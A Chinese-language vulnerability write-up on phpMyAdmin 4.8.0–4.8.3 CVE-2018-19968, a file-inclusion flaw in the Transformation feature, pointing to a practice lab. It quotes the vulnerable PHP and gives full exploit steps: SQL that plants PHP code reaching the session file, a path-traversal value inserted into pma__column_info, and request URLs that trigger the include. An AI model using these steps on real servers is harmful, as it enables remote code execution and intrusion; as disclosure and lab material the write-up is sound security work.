天天看點

phpMyAdmin 4.8.0~4.8.3 Transformation 任意檔案包含/遠端代碼執行漏洞

本文轉載自: phpMyAdmin 4.8.0~4.8.3 Transformation 任意檔案包含/遠端代碼執行漏洞 (需登入/PMASA-2018-6/CVE-2018-19968) | VULNSPY

2018年12月07日 phpMyAdmin 釋出安全公告 PMASA-2018-6 修複了一個由Transformation特性引起的本地檔案讀取漏洞,影響4.8.0~4.8.3版本,CVE編号CVE-2018-19968。

Transformation是phpMyAdmin中的一個進階功能,通過Transformation可以對每個字段的内容使用不同的轉換,每個字段中的内容将被預定義的規則所轉換。比如我們有一個存有檔案名的字段 ‘Filename’,正常情況下 phpMyAdmin 隻會将路徑顯示出來。但是通過Transformation我們可以将該字段轉換成超連結,我們就能直接在 phpMyAdmin 中點選并在浏覽器的新視窗中看到這個檔案。

通常情況下Transformation的規則存儲在每個資料庫的

pma__column_info

表中,而在phpMyAdmin 4.8.0~4.8.3版本中,由于對轉換參數處理不當,導緻了任意檔案包含漏洞的出現。

了解更多關于Transformations的内容:

Transformations - phpMyAdmin 5.0.0-dev documentation

VulnSpy 已為大家提供線上 phpMyAdmin 環境位址:

https://www.vsplate.com/?github=vulnspy/phpmyadmin-4.8.1

,點選又上角的

START TO HACK

按鈕可進行線上測試。

漏洞細節來自:

PHPMyAdmin multiple vulnerabilities - Sec Team Blog

漏洞細節

在檔案

tbl_replace.php

中:

$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
[...]
// Apply Input Transformation if defined
if (!empty($mime_map[$column_name])
&& !empty($mime_map[$column_name]['input_transformation'])
) {
   $filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
   if (is_file($filename)) {
      include_once $filename;
      $classname = Transformations::getClassName($filename);
      /** @var IOTransformationsPlugin $transformation_plugin */
      $transformation_plugin = new $classname();
      $transformation_options = Transformations::getOptions(
         $mime_map[$column_name]['input_transformation_options']
      );
      $current_value = $transformation_plugin->applyTransformation(
         $current_value, $transformation_options
      );
      // check if transformation was successful or not
      // and accordingly set error messages & insert_fail
      if (method_exists($transformation_plugin, 'isSuccess')
&& !$transformation_plugin->isSuccess()
) {
         $insert_fail = true;
         $row_skipped = true;
         $insert_errors[] = sprintf(
            __('Row: %1$s, Column: %2$s, Error: %3$s'),
            $rownumber, $column_name,
            $transformation_plugin->getError()
         );
      }
   }
}           

拼接到

$filename

的變量

$mime_map[$column_name]['input_transformation']

來自于資料表

pma__column_info

中的

input_transformation

字段,因為資料庫中的内容使用者可控,進而産生了任意檔案包含漏洞。

漏洞利用

  1. 建立資料庫,并将PHP代碼寫入SESSION檔案中
CREATE DATABASE foo;
CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';           
  1. 通路

    http://pma.vsplate.me/chk_rel.php?fixall_pmadb=1&db=foo

    在資料庫foo中生成phpMyAdmin的配置表。
  1. 将篡改後的Transformation資料插入表

    pma__column_info

将sess_***中的***替換成你的會話ID,即COOKIE中phpMyAdmin的值

INSERT INTO `pma__column_info`SELECT '1', 'foo', 'bar', 'baz', 'plop',
'plop', 'plop', 'plop',
'../../../../../../../../tmp/sess_***','plop';           
  1. http://pma.vsplate.me/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1

    ,如果利用成功将會自動包含含有惡意代碼的SESSION檔案